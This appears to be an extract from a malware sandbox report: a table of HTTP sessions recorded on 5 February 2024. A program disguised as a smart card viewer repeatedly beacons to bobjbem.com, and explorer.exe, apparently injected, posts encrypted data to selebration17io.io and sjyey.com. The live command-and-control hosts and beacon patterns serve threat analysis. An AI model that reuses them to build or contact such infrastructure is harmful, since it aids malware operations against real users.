Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
169	192.168.2.4	49964	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:01.538990021 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 11:00:01.776890993 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 10:00:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
170	192.168.2.4	49965	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:02.141834974 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 11:00:02.388755083 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 10:00:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
171	192.168.2.4	49967	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:02.768095016 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 11:00:03.006133080 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 10:00:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
172	192.168.2.4	49968	91.215.85.120	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:02.886077881 CET	284	OUT	POST /index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://dbrogvanwysp.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 205 Host: selebration17io.io
Feb 5, 2024 11:00:02.886116028 CET	205	OUT	Data Raw: 48 9d fb c4 3c 64 54 2e 2c 07 52 52 77 dd 54 bc 28 67 9b 1a ff 18 aa dd bc 6e a7 f2 02 83 a4 99 84 a0 8a bf 74 43 e4 ca a6 5f 6a 7e 83 8a fc 12 f0 5f 3d 01 00 86 3b 7d ef 83 66 87 fe 3d be f5 42 21 9b c6 a1 19 ba 8a 14 62 cc d6 4f 96 f8 d3 18 ef Data Ascii: H<dT.,RRwT(gntC_j~_=;}f=B!bOt<.#{Q^]5c=i<lhYu-]8J8:-(K=PJ_qW>#17/1)1
Feb 5, 2024 11:00:03.142860889 CET	194	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Mon, 05 Feb 2024 10:00:03 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
173	192.168.2.4	49969	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:03.470937967 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 11:00:03.713742971 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 10:00:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
174	192.168.2.4	49970	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:04.085783005 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 11:00:04.328547001 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 10:00:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
175	192.168.2.4	49971	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:04.814552069 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 11:00:05.053026915 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 10:00:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
176	192.168.2.4	49972	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:05.425787926 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 11:00:05.675115108 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 10:00:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
177	192.168.2.4	49973	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:06.066236973 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 11:00:06.312520027 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 10:00:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
178	192.168.2.4	49974	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:06.666059971 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 11:00:06.904346943 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 10:00:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
179	192.168.2.4	49975	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:07.260951996 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 11:00:07.506414890 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 10:00:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port
180	192.168.2.4	49976	185.196.8.22	80

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:07.862306118 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 11:00:08.100451946 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 10:00:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
181	192.168.2.4	49977	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:08.452122927 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 11:00:08.695890903 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 10:00:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
182	192.168.2.4	49978	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:09.060642958 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 11:00:09.304577112 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 10:00:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
183	192.168.2.4	49979	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:09.646406889 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 11:00:09.884506941 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 10:00:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
184	192.168.2.4	49980	186.147.159.149	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:09.821835995 CET	278	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://mpnqdmcplvu.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 139 Host: sjyey.com
Feb 5, 2024 11:00:09.821870089 CET	139	OUT	Data Raw: 3b 6e 56 14 f7 cf 1a 24 d9 af b4 02 0f 03 0b ca 7d 79 ba ed 1d 04 9e 15 7c 75 7c 95 46 c3 b2 6a 9b 5c c4 20 06 1f 21 11 eb 9d 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2e 5b 0a 6b 2c 90 f4 76 0b 75 59 44 f1 96 Data Ascii: ;nV$}y\|u\|Fj\ !? 9Yt M@NA .[k,vuYD\|I_=LG k>rKc{0%Ef
Feb 5, 2024 11:00:10.407383919 CET	252	IN	HTTP/1.0 404 Not Found Date: Mon, 05 Feb 2024 10:00:10 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 7 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 03 00 00 00 72 e8 84 Data Ascii: r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
185	192.168.2.4	49981	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:10.271231890 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 11:00:10.518714905 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 10:00:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
186	192.168.2.4	49982	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:10.894970894 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 11:00:11.139642954 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 10:00:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
187	192.168.2.4	49983	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:11.480206966 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 11:00:11.718780041 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 10:00:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
188	192.168.2.4	49984	91.215.85.120	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:11.524667978 CET	283	OUT	POST /index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://fdmgbmksyou.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 173 Host: selebration17io.io
Feb 5, 2024 11:00:11.524735928 CET	173	OUT	Data Raw: 48 9d fb c4 3c 64 54 2e 2c 07 52 52 77 dd 54 bc 28 67 9b 1a ff 18 aa dd bc 6e a7 f2 02 83 a4 99 84 a0 8a bf 74 43 e4 ca a6 5f 6a 7e 83 8a fc 12 f0 5f 3d 01 00 86 3b 7d ef 83 66 87 fe 3d be f5 42 21 9b c6 a1 19 ba 8a 14 62 cc d6 4f 96 9b c0 16 c5 Data Ascii: H<dT.,RRwT(gntC_j~_=;}f=B!bOm/:%XJgr<ve3 Csw}<pmK>KS;.8
Feb 5, 2024 11:00:11.780615091 CET	194	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Mon, 05 Feb 2024 10:00:11 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
189	192.168.2.4	49985	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:12.095585108 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 11:00:12.340106964 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 10:00:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
190	192.168.2.4	49986	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:12.713974953 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 11:00:12.952029943 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 10:00:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
191	192.168.2.4	49988	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:13.327627897 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 11:00:13.571472883 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 10:00:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
192	192.168.2.4	49989	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:13.947416067 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 11:00:14.192614079 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 10:00:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
193	192.168.2.4	49990	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:14.547864914 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 11:00:14.786195993 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 10:00:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
194	192.168.2.4	49991	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
